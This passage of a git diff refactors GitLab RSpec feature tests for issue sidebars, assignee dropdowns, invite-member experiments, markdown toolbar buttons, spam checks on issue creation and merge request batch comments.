+ click_link 'Invite members'
- page.within '.dropdown-menu-user' do
- expect(page.find('.dropdown-header')).to be_visible
- expect(page.find('.dropdown-menu-user-link.is-active')).to have_content(user.name)
+ expect(page).to have_content("You're inviting members to the")
end
end
- it 'keeps your filtered term after filtering and dismissing the dropdown' do
- find('.dropdown-input-field').set(user2.name)
+ context 'when invite_members_version_b experiment is enabled' do
+ before do
+ stub_experiment_for_subject(invite_members_version_b: true)
+ end
+
+ it 'shows a link for inviting members and follows through to modal' do
+ project.add_developer(user)
+ visit_issue(project, issue2)
- wait_for_requests
+ open_assignees_dropdown
- page.within '.dropdown-menu-user' do
- expect(page).not_to have_content 'Unassigned'
- click_link user2.name
+ page.within '.dropdown-menu-user' do
+ expect(page).to have_link('Invite members', href: '#')
+ expect(page).to have_selector('[data-track-event="click_invite_members_version_b"]')
+ expect(page).to have_selector('[data-track-label="edit_assignee"]')
+ end
+
+ click_link 'Invite members'
+
+ expect(page).to have_content("Oops, this feature isn't ready yet")
end
+ end
+
+ context 'when invite_members_version_b experiment is disabled' do
+ it 'shows author in assignee dropdown and no invite link' do
+ project.add_developer(user)
+ visit_issue(project, issue2)
- find('.js-right-sidebar').click
- find('.block.assignee .edit-link').click
+ open_assignees_dropdown
- expect(page.all('.dropdown-menu-user li').length).to eq(1)
- expect(find('.dropdown-input-field').value).to eq(user2.name)
+ page.within '.dropdown-menu-user' do
+ expect(page).not_to have_link('Invite members')
+ end
+ end
end
- end
- it 'shows label text as "Apply" when assignees are changed' do
- project.add_developer(user)
- visit_issue(project, issue2)
+ context 'when user is a developer' do
+ before do
+ project.add_developer(user)
+ visit_issue(project, issue2)
+ end
+
+ it 'shows author in assignee dropdown' do
+ open_assignees_dropdown
+
+ page.within '.dropdown-menu-user' do
+ expect(page).to have_content(user2.name)
+ end
+ end
+
+ it 'shows author when filtering assignee dropdown' do
+ open_assignees_dropdown
+
+ page.within '.dropdown-menu-user' do
+ find('.js-dropdown-input-field').find('input').set(user2.name)
+
+ wait_for_requests
+
+ expect(page).to have_content(user2.name)
+ end
+ end
+
+ it 'assigns yourself' do
+ click_button 'assign yourself'
+ wait_for_requests
+
+ page.within '.assignee' do
+ expect(page).to have_content(user.name)
+ end
+ end
- find('.block.assignee .edit-link').click
- wait_for_requests
+ it 'keeps your filtered term after filtering and dismissing the dropdown' do
+ open_assignees_dropdown
- click_on 'Unassigned'
+ find('.js-dropdown-input-field').find('input').set(user2.name)
+ wait_for_requests
+
+ page.within '.dropdown-menu-user' do
+ expect(page).not_to have_content 'Unassigned'
+ click_link user2.name
+ end
- expect(page).to have_link('Apply')
+ find('.js-right-sidebar').click
+
+ open_assignees_dropdown
+
+ page.within('.assignee') do
+ expect(page.all('[data-testid="selected-participant"]').length).to eq(1)
+ end
+
+ expect(find('.js-dropdown-input-field').find('input').value).to eq(user2.name)
+ end
+ end
end
end
@@ -171,7 +291,7 @@ RSpec.describe 'Issue Sidebar' do
context 'editing issue labels', :js do
before do
- issue.update(labels: [label])
+ issue.update!(labels: [label])
page.within('.block.labels') do
click_on 'Edit'
end
@@ -334,4 +454,11 @@ RSpec.describe 'Issue Sidebar' do
find('aside.right-sidebar.right-sidebar-collapsed .js-sidebar-toggle').click
find('aside.right-sidebar.right-sidebar-expanded')
end
+
+ def open_assignees_dropdown
+ page.within('.assignee') do
+ click_button('Edit')
+ wait_for_requests
+ end
+ end
end
diff --git a/spec/features/issues/markdown_toolbar_spec.rb b/spec/features/issues/markdown_toolbar_spec.rb
index 6dc1cbfb2d7..aad5d319bc4 100644
--- a/spec/features/issues/markdown_toolbar_spec.rb
+++ b/spec/features/issues/markdown_toolbar_spec.rb
@@ -3,9 +3,9 @@
require 'spec_helper'
RSpec.describe 'Issue markdown toolbar', :js do
- let(:project) { create(:project, :public) }
- let(:issue) { create(:issue, project: project) }
- let(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:user) { create(:user) }
before do
sign_in(user)
@@ -14,28 +14,22 @@ RSpec.describe 'Issue markdown toolbar', :js do
end
it "doesn't include first new line when adding bold" do
- find('#note-body').native.send_keys('test')
- find('#note-body').native.send_key(:enter)
- find('#note-body').native.send_keys('bold')
+ fill_in 'Comment', with: "test\nbold"
- find('.js-main-target-form #note-body')
- page.evaluate_script('document.querySelectorAll(".js-main-target-form #note-body")[0].setSelectionRange(4, 9)')
+ page.evaluate_script('document.getElementById("note-body").setSelectionRange(4, 9)')
- first('.toolbar-btn').click
+ click_button 'Add bold text'
- expect(find('#note-body')[:value]).to eq("test\n**bold**\n")
+ expect(find_field('Comment').value).to eq("test\n**bold**\n")
end
it "doesn't include first new line when adding underline" do
- find('#note-body').native.send_keys('test')
- find('#note-body').native.send_key(:enter)
- find('#note-body').native.send_keys('underline')
+ fill_in 'Comment', with: "test\nunderline"
- find('.js-main-target-form #note-body')
- page.evaluate_script('document.querySelectorAll(".js-main-target-form #note-body")[0].setSelectionRange(4, 50)')
+ page.evaluate_script('document.getElementById("note-body").setSelectionRange(4, 50)')
- all('.toolbar-btn')[1].click
+ click_button 'Add italic text'
- expect(find('#note-body')[:value]).to eq("test\n_underline_\n")
+ expect(find_field('Comment').value).to eq("test\n_underline_\n")
end
end
diff --git a/spec/features/issues/note_polling_spec.rb b/spec/features/issues/note_polling_spec.rb
index bc4c67fdd79..5e02d5ad038 100644
--- a/spec/features/issues/note_polling_spec.rb
+++ b/spec/features/issues/note_polling_spec.rb
@@ -103,7 +103,7 @@ RSpec.describe 'Issue notes polling', :js do
end
def update_note(note, new_text)
- note.update(note: new_text)
+ note.update!(note: new_text)
wait_for_requests
end
diff --git a/spec/features/issues/spam_issues_spec.rb b/spec/features/issues/spam_issues_spec.rb
index aec806c566d..461030d3176 100644
--- a/spec/features/issues/spam_issues_spec.rb
+++ b/spec/features/issues/spam_issues_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe 'New issue', :js do
end
it 'rejects issue creation' do
- click_button 'Submit issue'
+ click_button 'Create issue'
expect(page).to have_content('discarded')
expect(page).not_to have_content('potential spam')
@@ -51,7 +51,7 @@ RSpec.describe 'New issue', :js do
end
it 'creates a spam log record' do
- expect { click_button 'Submit issue' }
+ expect { click_button 'Create issue' }
.to log_spam(title: 'issue title', description: 'issue description', user_id: user.id, noteable_type: 'Issue')
end
end
@@ -63,14 +63,14 @@ RSpec.describe 'New issue', :js do
end
it 'allows issue creation' do
- click_button 'Submit issue'
+ click_button 'Create issue'
expect(page.find('.issue-details h2.title')).to have_content('issue title')
expect(page.find('.issue-details .description')).to have_content('issue description')
end
it 'creates a spam log record' do
- expect { click_button 'Submit issue' }
+ expect { click_button 'Create issue' }
.to log_spam(title: 'issue title', description: 'issue description', user_id: user.id, noteable_type: 'Issue')
end
end
@@ -101,14 +101,14 @@ RSpec.describe 'New issue', :js do
fill_in 'issue_title', with: 'issue title'
fill_in 'issue_description', with: 'issue description'
- click_button 'Submit issue'
+ click_button 'Create issue'
# it is impossible to test reCAPTCHA automatically and there is no possibility to fill in recaptcha
# reCAPTCHA verification is skipped in test environment and it always returns true
expect(page).not_to have_content('issue title')
expect(page).to have_css('.recaptcha')
- click_button 'Submit issue'
+ click_button 'Create issue'
expect(page.find('.issue-details h2.title')).to have_content('issue title')
expect(page.find('.issue-details .description')).to have_content('issue description')
@@ -122,7 +122,7 @@ RSpec.describe 'New issue', :js do
end
it 'creates an issue without a need to solve reCAPTCHA' do
- click_button 'Submit issue'
+ click_button 'Create issue'
expect(page).not_to have_css('.recaptcha')
expect(page.find('.issue-details h2.title')).to have_content('issue title')
@@ -130,7 +130,7 @@ RSpec.describe 'New issue', :js do
end
it 'creates a spam log record' do
- expect { click_button 'Submit issue' }
+ expect { click_button 'Create issue' }
.to log_spam(title: 'issue title', description: 'issue description', user_id: user.id, noteable_type: 'Issue')
end
end
@@ -148,7 +148,7 @@ RSpec.describe 'New issue', :js do
end
it 'creates an issue without a need to solve reCaptcha' do
- click_button 'Submit issue'
+ click_button 'Create issue'
expect(page).not_to have_css('.recaptcha')
expect(page.find('.issue-details h2.title')).to have_content('issue title')
@@ -156,7 +156,7 @@ RSpec.describe 'New issue', :js do
end
it 'creates a spam log record' do
- expect { click_button 'Submit issue' }
+ expect { click_button 'Create issue' }
.to log_spam(title: 'issue title', description: 'issue description', user_id: user.id, noteable_type: 'Issue')
end
end
@@ -178,7 +178,7 @@ RSpec.describe 'New issue', :js do
fill_in 'issue_title', with: 'issue title'
fill_in 'issue_description', with: 'issue description'
- click_button 'Submit issue'
+ click_button 'Create issue'
expect(page.find('.issue-details h2.title')).to have_content('issue title')
expect(page.find('.issue-details .description')).to have_content('issue description')
diff --git a/spec/features/issues/user_comments_on_issue_spec.rb b/spec/features/issues/user_comments_on_issue_spec.rb
index 004488f2f64..09d3ad15641 100644
--- a/spec/features/issues/user_comments_on_issue_spec.rb
+++ b/spec/features/issues/user_comments_on_issue_spec.rb
@@ -57,17 +57,9 @@ RSpec.describe "User comments on issue", :js do
project.add_maintainer(user)
create(:label, project: project, title: 'label')
- page.within '.timeline-content-form' do
- find('#note-body').native.send_keys('/l')
- end
-
- wait_for_requests
-
- expect(page).to have_selector('.atwho-container')
+ fill_in 'Comment', with: '/l'
- page.within '.atwho-container #at-view-commands' do
- expect(find('li', match: :first)).to have_content('/label')
- end
+ expect(find_highlighted_autocomplete_item).to have_content('/label')
end
end
@@ -110,4 +102,10 @@ RSpec.describe "User comments on issue", :js do
end
end
end
+
+ private
+
+ def find_highlighted_autocomplete_item
+ find('.atwho-view li.cur', visible: true)
+ end
end
diff --git a/spec/features/issues/user_creates_branch_and_merge_request_spec.rb b/spec/features/issues/user_creates_branch_and_merge_request_spec.rb
index e225a45481d..6e8b3e4fb7c 100644
--- a/spec/features/issues/user_creates_branch_and_merge_request_spec.rb
+++ b/spec/features/issues/user_creates_branch_and_merge_request_spec.rb
@@ -150,7 +150,7 @@ RSpec.describe 'User creates branch and merge request on issue page', :js do
context 'when merge requests are disabled' do
before do
- project.project_feature.update(merge_requests_access_level: 0)
+ project.project_feature.update!(merge_requests_access_level: 0)
visit project_issue_path(project, issue)
end
diff --git a/spec/features/issues/user_creates_confidential_merge_request_spec.rb b/spec/features/issues/user_creates_confidential_merge_request_spec.rb
index ea96165d7b7..6b4526cd624 100644
--- a/spec/features/issues/user_creates_confidential_merge_request_spec.rb
+++ b/spec/features/issues/user_creates_confidential_merge_request_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe 'User creates confidential merge request on issue page', :js do
let(:forked_project) { fork_project(project, user, repository: true) }
before do
- forked_project.update(visibility: Gitlab::VisibilityLevel::PRIVATE)
+ forked_project.update!(visibility: Gitlab::VisibilityLevel::PRIVATE)
visit_confidential_issue
end
diff --git a/spec/features/issues/user_creates_issue_spec.rb b/spec/features/issues/user_creates_issue_spec.rb
index 98f9ed6c6a2..e2e204f03db 100644
--- a/spec/features/issues/user_creates_issue_spec.rb
+++ b/spec/features/issues/user_creates_issue_spec.rb
@@ -45,7 +45,7 @@ RSpec.describe "User creates issue" do
.and have_no_content("Milestone")
expect(page.find('#issue_title')['placeholder']).to eq 'Title'
- expect(page.find('#issue_description')['placeholder']).to eq 'Write a comment or drag your files here…'
+ expect(page.find('#issue_description')['placeholder']).to eq 'Write a description or drag your files here…'
end
issue_title = "500 error on profile"
@@ -54,7 +54,7 @@ RSpec.describe "User creates issue" do
first('.js-md').click
first('.rspec-issuable-form-description').native.send_keys('Description')
- click_button("Submit issue")
+ click_button("Create issue")
expect(page).to have_content(issue_title)
.and have_content(user.name)
@@ -112,7 +112,7 @@ RSpec.describe "User creates issue" do
fill_in("Title", with: issue_title)
click_button("Label")
click_link(label_titles.first)
- click_button("Submit issue")
+ click_button("Create issue")
expect(page).to have_content(issue_title)
.and have_content(user.name)
@@ -135,7 +135,7 @@ RSpec.describe "User creates issue" do
expect(find('#issuable-due-date').value).to eq date.to_s
- click_button 'Submit issue'
+ click_button 'Create issue'
page.within '.issuable-sidebar' do
expect(page).to have_content date.to_s(:medium)
@@ -259,7 +259,7 @@ RSpec.describe "User creates issue" do
fill_in 'issue_title', with: 'bug 345'
fill_in 'issue_description', with: 'bug description'
- click_button 'Submit issue'
+ click_button 'Create issue'
end
end
end
diff --git a/spec/features/issues/user_edits_issue_spec.rb b/spec/features/issues/user_edits_issue_spec.rb
index 9d4a6cdb522..1bbb96ff479 100644
--- a/spec/features/issues/user_edits_issue_spec.rb
+++ b/spec/features/issues/user_edits_issue_spec.rb
@@ -78,7 +78,7 @@ RSpec.describe "Issues > User edits issue", :js do
end
it 'warns about version conflict' do
- issue.update(title: "New title")
+ issue.update!(title: "New title")
fill_in 'issue_title', with: 'bug 345'
fill_in 'issue_description', with: 'bug description'
@@ -142,10 +142,8 @@ RSpec.describe "Issues > User edits issue", :js do
it 'can remove label without removing label added via quick action', :aggregate_failures do
# Add `syzygy` label with a quick action
- note = find('#note-body')
- page.within '.timeline-content-form' do
- note.native.send_keys('/label ~syzygy')
- end
+ fill_in 'Comment', with: '/label ~syzygy'
+
click_button 'Comment'
wait_for_requests
@@ -169,80 +167,165 @@ RSpec.describe "Issues > User edits issue", :js do
end
describe 'update assignee' do
- context 'by authorized user' do
- def close_dropdown_menu_if_visible
- find('.dropdown-menu-toggle', visible: :all).tap do |toggle|
- toggle.click if toggle.visible?
- end
+ context 'when GraphQL assignees widget feature flag is disabled' do
+ before do
+ stub_feature_flags(issue_assignees_widget: false)
end
- it 'allows user to select unassigned' do
- visit project_issue_path(project, issue)
+ context 'by authorized user' do
+ def close_dropdown_menu_if_visible
+ find('.dropdown-menu-toggle', visible: :all).tap do |toggle|
+ toggle.click if toggle.visible?
+ end
+ end
- page.within('.assignee') do
- expect(page).to have_content "#{user.name}"
+ it 'allows user to select unassigned' do
+ visit project_issue_path(project, issue)
- click_link 'Edit'
- click_link 'Unassigned'
- first('.title').click
- expect(page).to have_content 'None - assign yourself'
+ page.within('.assignee') do
+ expect(page).to have_content "#{user.name}"
+
+ click_link 'Edit'
+ click_link 'Unassigned'
+ first('.title').click
+
+ expect(page).to have_content 'None - assign yourself'
+ end
end
- end
- it 'allows user to select an assignee' do
- issue2 = create(:issue, project: project, author: user)
- visit project_issue_path(project, issue2)
+ it 'allows user to select an assignee' do
+ issue2 = create(:issue, project: project, author: user)
+ visit project_issue_path(project, issue2)
- page.within('.assignee') do
- expect(page).to have_content "None"
+ page.within('.assignee') do
+ expect(page).to have_content "None"
+ end
+
+ page.within '.assignee' do
+ click_link 'Edit'
+ end
+
+ page.within '.dropdown-menu-user' do
+ click_link user.name
+ end
+
+ page.within('.assignee') do
+ expect(page).to have_content user.name
+ end
end
- page.within '.assignee' do
- click_link 'Edit'
+ it 'allows user to unselect themselves' do
+ issue2 = create(:issue, project: project, author: user, assignees: [user])
+
+ visit project_issue_path(project, issue2)
+
+ page.within '.assignee' do
+ expect(page).to have_content user.name
+
+ click_link 'Edit'
+ click_link user.name
+
+ close_dropdown_menu_if_visible
+
+ page.within '.value .assign-yourself' do
+ expect(page).to have_content "None"
+ end
+ end
end
+ end
+
+ context 'by unauthorized user' do
+ let(:guest) { create(:user) }
- page.within '.dropdown-menu-user' do
- click_link user.name
+ before do
+ project.add_guest(guest)
end
- page.within('.assignee') do
- expect(page).to have_content user.name
+ it 'shows assignee text' do
+ sign_out(:user)
+ sign_in(guest)
+
+ visit project_issue_path(project, issue)
+ expect(page).to have_content issue.assignees.first.name
end
end
+ end
- it 'allows user to unselect themselves' do
- issue2 = create(:issue, project: project, author: user, assignees: [user])
+ context 'when GraphQL assignees widget feature flag is enabled' do
+ context 'by authorized user' do
+ it 'allows user to select unassigned' do
+ visit project_issue_path(project, issue)
- visit project_issue_path(project, issue2)
+ page.within('.assignee') do
+ expect(page).to have_content "#{user.name}"
- page.within '.assignee' do
- expect(page).to have_content user.name
+ click_button('Edit')
+ wait_for_requests
- click_link 'Edit'
- click_link user.name
+ find('[data-testid="unassign"]').click
+ find('[data-testid="title"]').click
+ wait_for_requests
+
+ expect(page).to have_content 'None - assign yourself'
+ end
+ end
- close_dropdown_menu_if_visible
+ it 'allows user to select an assignee' do
+ issue2 = create(:issue, project: project, author: user)
+ visit project_issue_path(project, issue2)
- page.within '.value .assign-yourself' do
+ page.within('.assignee') do
expect(page).to have_content "None"
+ click_button('Edit')
+ wait_for_requests
+ end
+
+ page.within '.dropdown-menu-user' do
+ click_link user.name
+ end
+
+ page.within('.assignee') do
+ find('[data-testid="title"]').click
+ wait_for_requests
+
+ expect(page).to have_content user.name
end
end
- end
- end
- context 'by unauthorized user' do
- let(:guest) { create(:user) }
+ it 'allows user to unselect themselves' do
+ issue2 = create(:issue, project: project, author: user, assignees: [user])
- before do
- project.add_guest(guest)
+ visit project_issue_path(project, issue2)
+
+ page.within '.assignee' do
+ expect(page).to have_content user.name
+
+ click_button('Edit')
+ wait_for_requests
+ click_link user.name
+
+ find('[data-testid="title"]').click
+ wait_for_requests
+
+ expect(page).to have_content "None"
+ end
+ end
end
- it 'shows assignee text' do
- sign_out(:user)
- sign_in(guest)
+ context 'by unauthorized user' do
+ let(:guest) { create(:user) }
- visit project_issue_path(project, issue)
- expect(page).to have_content issue.assignees.first.name
+ before do
+ project.add_guest(guest)
+ end
+
+ it 'shows assignee text' do
+ sign_out(:user)
+ sign_in(guest)
+
+ visit project_issue_path(project, issue)
+ expect(page).to have_content issue.assignees.first.name
+ end
end
end
end
@@ -309,7 +392,7 @@ RSpec.describe "Issues > User edits issue", :js do
before do
project.add_guest(guest)
issue.milestone = milestone
- issue.save
+ issue.save!
end
it 'shows milestone text' do
@@ -326,24 +409,23 @@ RSpec.describe "Issues > User edits issue", :js do
it 'adds due date to issue' do
date = Date.today.at_beginning_of_month + 2.days
- page.within '.due_date' do
- click_link 'Edit'
-
+ page.within '[data-testid="due-date"]' do
+ click_button 'Edit'
page.within '.pika-single' do
click_button date.day
end
wait_for_requests
- expect(find('.value').text).to have_content date.strftime('%b %-d, %Y')
+ expect(find('[data-testid="sidebar-duedate-value"]').text).to have_content date.strftime('%b %-d, %Y')
end
end
it 'removes due date from issue' do
date = Date.today.at_beginning_of_month + 2.days
- page.within '.due_date' do
- click_link 'Edit'
+ page.within '[data-testid="due-date"]' do
+ click_button 'Edit'
page.within '.pika-single' do
click_button date.day
@@ -353,7 +435,7 @@ RSpec.describe "Issues > User edits issue", :js do
expect(page).to have_no_content 'None'
- click_link 'remove due date'
+ click_button 'remove due date'
expect(page).to have_content 'None'
end
end
diff --git a/spec/features/issues/user_filters_issues_spec.rb b/spec/features/issues/user_filters_issues_spec.rb
index 1b246181523..5d05df6aaf0 100644
--- a/spec/features/issues/user_filters_issues_spec.rb
+++ b/spec/features/issues/user_filters_issues_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe 'User filters issues', :js do
@issue = Issue.find_by(title: 'foobar')
@issue.milestone = create(:milestone, project: project)
@issue.assignees = []
- @issue.save
+ @issue.save!
end
let(:issue) { @issue }
diff --git a/spec/features/issues/user_interacts_with_awards_spec.rb b/spec/features/issues/user_interacts_with_awards_spec.rb
index 1c7bc5f239f..e862f7030c0 100644
--- a/spec/features/issues/user_interacts_with_awards_spec.rb
+++ b/spec/features/issues/user_interacts_with_awards_spec.rb
@@ -5,6 +5,10 @@ require 'spec_helper'
RSpec.describe 'User interacts with awards' do
let(:user) { create(:user) }
+ before do
+ stub_feature_flags(improved_emoji_picker: false)
+ end
+
describe 'User interacts with awards in an issue', :js do
let(:issue) { create(:issue, project: project)}
let(:project) { create(:project) }
diff --git a/spec/features/issues/user_invites_from_a_comment_spec.rb b/spec/features/issues/user_invites_from_a_comment_spec.rb
new file mode 100644
index 00000000000..82061f6ed79
--- /dev/null
+++ b/spec/features/issues/user_invites_from_a_comment_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe "User invites from a comment", :js do
+ let_it_be(:project) { create(:project_empty_repo, :public) }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:user) { project.owner }
+
+ before do
+ sign_in(user)
+ end
+
+ it "launches the invite modal from invite link on a comment" do
+ stub_experiments(invite_members_in_comment: :invite_member_link)
+
+ visit project_issue_path(project, issue)
+
+ page.within(".new-note") do
+ click_button 'Invite Member'
+ end
+
+ expect(page).to have_content("You're inviting members to the")
+ end
+end
diff --git a/spec/features/issues/user_sees_live_update_spec.rb b/spec/features/issues/user_sees_live_update_spec.rb
index 79c6978cbc0..7e4880f209e 100644
--- a/spec/features/issues/user_sees_live_update_spec.rb
+++ b/spec/features/issues/user_sees_live_update_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe 'Issues > User sees live update', :js do
expect(page).to have_text("new title")
- issue.update(title: "updated title")
+ issue.update!(title: "updated title")
wait_for_requests
expect(page).to have_text("updated title")
diff --git a/spec/features/issues/user_sees_sidebar_updates_in_realtime_spec.rb b/spec/features/issues/user_sees_sidebar_updates_in_realtime_spec.rb
index 7a2b637e48e..6473fe01052 100644
--- a/spec/features/issues/user_sees_sidebar_updates_in_realtime_spec.rb
+++ b/spec/features/issues/user_sees_sidebar_updates_in_realtime_spec.rb
@@ -19,11 +19,14 @@ RSpec.describe 'Issues > Real-time sidebar', :js do
expect(page.find('.assignee')).to have_content 'None'
end
- gitlab_sign_in(user)
+ sign_in(user)
+
visit project_issue_path(project, issue)
expect(page.find('.assignee')).to have_content 'None'
click_button 'assign yourself'
+ wait_for_requests
+ expect(page.find('.assignee')).to have_content user.name
using_session :other_session do
expect(page.find('.assignee')).to have_content user.name
diff --git a/spec/features/issues/user_sorts_issues_spec.rb b/spec/features/issues/user_sorts_issues_spec.rb
index f0bb055c6f2..c161e1deb83 100644
--- a/spec/features/issues/user_sorts_issues_spec.rb
+++ b/spec/features/issues/user_sorts_issues_spec.rb
@@ -77,7 +77,7 @@ RSpec.describe "User sorts issues" do
it 'sorts by most recently updated', :js do
issue3.updated_at = Time.now + 100
- issue3.save
+ issue3.save!
visit project_issues_path(project, sort: sort_value_recently_updated)
expect(first_issue).to include('baz')
@@ -85,8 +85,8 @@ RSpec.describe "User sorts issues" do
describe 'sorting by due date', :js do
before do
- issue1.update(due_date: 1.day.from_now)
- issue2.update(due_date: 6.days.from_now)
+ issue1.update!(due_date: 1.day.from_now)
+ issue2.update!(due_date: 6.days.from_now)
end
it 'sorts by due date' do
@@ -96,7 +96,7 @@ RSpec.describe "User sorts issues" do
end
it 'sorts by due date by excluding nil due dates' do
- issue2.update(due_date: nil)
+ issue2.update!(due_date: nil)
visit project_issues_path(project, sort: sort_value_due_date)
@@ -111,7 +111,7 @@ RSpec.describe "User sorts issues" do
end
it 'sorts by least recently due date by excluding nil due dates' do
- issue2.update(due_date: nil)
+ issue2.update!(due_date: nil)
visit project_issues_path(project, label_names: [label.name], sort: sort_value_due_date_later)
@@ -122,8 +122,8 @@ RSpec.describe "User sorts issues" do
describe 'filtering by due date', :js do
before do
- issue1.update(due_date: 1.day.from_now)
- issue2.update(due_date: 6.days.from_now)
+ issue1.update!(due_date: 1.day.from_now)
+ issue2.update!(due_date: 6.days.from_now)
end
it 'filters by none' do
@@ -147,9 +147,9 @@ RSpec.describe "User sorts issues" do
end
it 'filters by due this week' do
- issue1.update(due_date: Date.today.beginning_of_week + 2.days)
- issue2.update(due_date: Date.today.end_of_week)
- issue3.update(due_date: Date.today - 8.days)
+ issue1.update!(due_date: Date.today.beginning_of_week + 2.days)
+ issue2.update!(due_date: Date.today.end_of_week)
+ issue3.update!(due_date: Date.today - 8.days)
visit project_issues_path(project, due_date: Issue::DueThisWeek.name)
@@ -161,9 +161,9 @@ RSpec.describe "User sorts issues" do
end
it 'filters by due this month' do
- issue1.update(due_date: Date.today.beginning_of_month + 2.days)
- issue2.update(due_date: Date.today.end_of_month)
- issue3.update(due_date: Date.today - 50.days)
+ issue1.update!(due_date: Date.today.beginning_of_month + 2.days)
+ issue2.update!(due_date: Date.today.end_of_month)
+ issue3.update!(due_date: Date.today - 50.days)
visit project_issues_path(project, due_date: Issue::DueThisMonth.name)
@@ -175,9 +175,9 @@ RSpec.describe "User sorts issues" do
end
it 'filters by overdue' do
- issue1.update(due_date: Date.today + 2.days)
- issue2.update(due_date: Date.today + 20.days)
- issue3.update(due_date: Date.yesterday)
+ issue1.update!(due_date: Date.today + 2.days)
+ issue2.update!(due_date: Date.today + 20.days)
+ issue3.update!(due_date: Date.yesterday)
visit project_issues_path(project, due_date: Issue::Overdue.name)
@@ -189,9 +189,9 @@ RSpec.describe "User sorts issues" do
end
it 'filters by due next month and previous two weeks' do
- issue1.update(due_date: Date.today - 4.weeks)
- issue2.update(due_date: (Date.today + 2.months).beginning_of_month)
- issue3.update(due_date: Date.yesterday)
+ issue1.update!(due_date: Date.today - 4.weeks)
+ issue2.update!(due_date: (Date.today + 2.months).beginning_of_month)
+ issue3.update!(due_date: Date.yesterday)
visit project_issues_path(project, due_date: Issue::DueNextMonthAndPreviousTwoWeeks.name)
@@ -206,9 +206,9 @@ RSpec.describe "User sorts issues" do
describe 'sorting by milestone', :js do
before do
issue1.milestone = newer_due_milestone
- issue1.save
+ issue1.save!
issue2.milestone = later_due_milestone
- issue2.save
+ issue2.save!
end
it 'sorts by milestone' do
@@ -224,9 +224,9 @@ RSpec.describe "User sorts issues" do
before do
issue1.assignees << user2
- issue1.save
+ issue1.save!
issue2.assignees << user2
- issue2.save
+ issue2.save!
end
it 'sorts with a filter applied' do
diff --git a/spec/features/markdown/markdown_spec.rb b/spec/features/markdown/markdown_spec.rb
index e84b300a748..3208ad82c03 100644
--- a/spec/features/markdown/markdown_spec.rb
+++ b/spec/features/markdown/markdown_spec.rb
@@ -63,8 +63,8 @@ RSpec.describe 'GitLab Markdown', :aggregate_failures do
end
aggregate_failures 'parses fenced code blocks' do
- expect(doc).to have_selector('pre.code.highlight.js-syntax-highlight.c')
- expect(doc).to have_selector('pre.code.highlight.js-syntax-highlight.python')
+ expect(doc).to have_selector('pre.code.highlight.js-syntax-highlight.language-c')
+ expect(doc).to have_selector('pre.code.highlight.js-syntax-highlight.language-python')
end
aggregate_failures 'parses mermaid code block' do
@@ -288,9 +288,10 @@ RSpec.describe 'GitLab Markdown', :aggregate_failures do
@wiki = @feat.wiki
@wiki_page = @feat.wiki_page
- path = 'images/example.jpg'
- gitaly_wiki_file = Gitlab::GitalyClient::WikiFile.new(path: path)
- expect(@wiki).to receive(:find_file).with(path, load_content: false).and_return(Gitlab::Git::WikiFile.new(gitaly_wiki_file))
+ name = 'example.jpg'
+ path = "images/#{name}"
+ blob = double(name: name, path: path, mime_type: 'image/jpeg', data: nil)
+ expect(@wiki).to receive(:find_file).with(path, load_content: false).and_return(Gitlab::Git::WikiFile.new(blob))
allow(@wiki).to receive(:wiki_base_path) { '/namespace1/gitlabhq/wikis' }
@html = markdown(@feat.raw_markdown, { pipeline: :wiki, wiki: @wiki, page_slug: @wiki_page.slug })
diff --git a/spec/features/merge_request/batch_comments_spec.rb b/spec/features/merge_request/batch_comments_spec.rb
index 25f2707146d..19680a827bf 100644
--- a/spec/features/merge_request/batch_comments_spec.rb
+++ b/spec/features/merge_request/batch_comments_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe 'Merge request > Batch comments', :js do
end
it 'adds draft note' do
- write_comment
+ write_diff_comment
expect(find('.draft-note-component')).to have_content('Line is wrong')
@@ -38,7 +38,7 @@ RSpec.describe 'Merge request > Batch comments', :js do
end
it 'publishes review' do
- write_comment
+ write_diff_comment
page.within('.review-bar-content') do
click_button 'Submit review'
@@ -52,7 +52,7 @@ RSpec.describe 'Merge request > Batch comments', :js do
end
it 'publishes single comment' do
- write_comment
+ write_diff_comment
click_button 'Add comment now'
@@ -64,7 +64,7 @@ RSpec.describe 'Merge request > Batch comments', :js do
end
it 'deletes draft note' do
- write_comment
+ write_diff_comment
accept_alert { find('.js-note-delete').click }
@@ -74,21 +74,70 @@ RSpec.describe 'Merge request > Batch comments', :js do
end
it 'edits draft note' do
- write_comment
+ write_diff_comment
find('.js-note-edit').click
# make sure comment form is in view
execute_script("window.scrollBy(0, 200)")
- page.within('.js-discussion-note-form') do
- fill_in('note_note', with: 'Testing update')
- click_button('Save comment')
+ write_comment(text: 'Testing update', button_text: 'Save comment')
+
+ expect(page).to have_selector('.draft-note-component', text: 'Testing update')
+ end
+
+ context 'with image and file draft note' do
+ let(:merge_request) { create(:merge_request_with_diffs, :with_image_diffs, source_project: project) }
+ let!(:draft_on_text) { create(:draft_note_on_text_diff, merge_request: merge_request, author: user, path: 'README.md', note: 'Lorem ipsum on text...') }
+ let!(:draft_on_image) { create(:draft_note_on_image_diff, merge_request: merge_request, author: user, path: 'files/images/ee_repo_logo.png', note: 'Lorem ipsum on an image...') }
+
+ it 'does not show in overview' do
+ visit_overview
+
+ expect(page).to have_no_text(draft_on_text.note)
+ expect(page).to have_no_text(draft_on_image.note)
end
+ end
- wait_for_requests
+ context 'adding single comment to review' do
+ before do
+ visit_overview
+ end
- expect(page).to have_selector('.draft-note-component', text: 'Testing update')
+ it 'at first does not show `Add to review` and `Add comment now` buttons' do
+ expect(page).to have_no_button('Add to review')
+ expect(page).to have_no_button('Add comment now')
+ end
+
+ context 'when review has started' do
+ before do
+ visit_diffs
+
+ write_diff_comment
+
+ visit_overview
+ end
+
+ it 'can add comment to review' do
+ write_comment(selector: '.js-main-target-form', field: 'note-body', text: 'Its a draft comment', button_text: 'Add to review')
+
+ expect(page).to have_selector('.draft-note-component', text: 'Its a draft comment')
+
+ click_button('Pending comments')
+
+ expect(page).to have_text('2 pending comments')
+ end
+
+ it 'can add comment right away' do
